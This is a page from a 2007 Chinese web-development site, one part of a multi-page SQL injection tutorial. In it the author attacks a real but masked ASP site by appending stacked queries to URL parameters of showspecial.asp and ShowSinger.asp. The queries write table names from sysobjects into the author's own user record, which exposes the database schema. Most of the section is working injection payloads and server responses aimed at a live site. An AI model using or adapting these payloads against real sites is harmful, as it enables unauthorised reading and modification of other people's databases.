WEB开发网
开发学院数据库MSSQL Server 有孔就入 SQL Injection的深入探讨 阅读

有孔就入 SQL Injection的深入探讨

 2007-05-19 09:43:25 来源:WEB开发网   
核心提示: select top 1 col_name(object_id(gallery),1) from gallery得到gallery表的第一个字段名为id,注:col_name()的语法COL_NAME ( table_id , column_id )参数table_id:包含数据库列的表的

select top 1 col_name(object_id(gallery),1) from gallery

得到gallery表的第一个字段名为id。

注:

col_name()的语法

COL_NAME ( table_id , column_id )

参数

table_id:包含数据库列的表的标识号。table_id 属于 int 类型。

column_id:列的标识号。column_id 参数属于 int 类型。

其中我们用object_id()函数来得到该表的标识号,1、2、3。。表示该表的第1个、第2个、第3个。。字段的标识号,以此类推得到该表所有的字段名称。

三、再次渗透攻击

经过上面2步的热身,接下来我们该利用建立好的平台实际操作演练一下了,依然是那个页,我们提交。

http://******/showspecial.asp?
Specialid=1817;update[user]set
email=(select top 1 name from sysobjects
where xtype=u and status>0) where id=103534;--

服务器返回

ADODB.Recordset 错误 800a0cb3

当前记录集不支持更新。这可能是提供程序的限制,也可能是选定锁定类型的限制。

/showspecial.asp,行19

出师不利,可能该页记录集打开方式是只读,我们再换一个页

找到http://******/ShowSinger.asp?Classid=34&SClassid=35的SClassid同样存在问题,于是提交

http://******/ShowSinger.asp?
Classid=34&SClassid=35;update
[user] set email=(select top 1 name from sysobjects
where xtype=u and status>0) where id=103534;--

把第一个数据表的名字更新到我的资料的email项里去,得到第一个表名为:lmuser

http://******/ShowSinger.asp
?Classid=34&SClassid=35;update
[user] set email=(select top 1 id from sysobjects
where xtype=u and name=lmuser) where id=103534;--

上一页  1 2 3 4 5  下一页

Tags:SQL Injection 深入

编辑录入:coldstar [复制链接] [打 印]
赞助商链接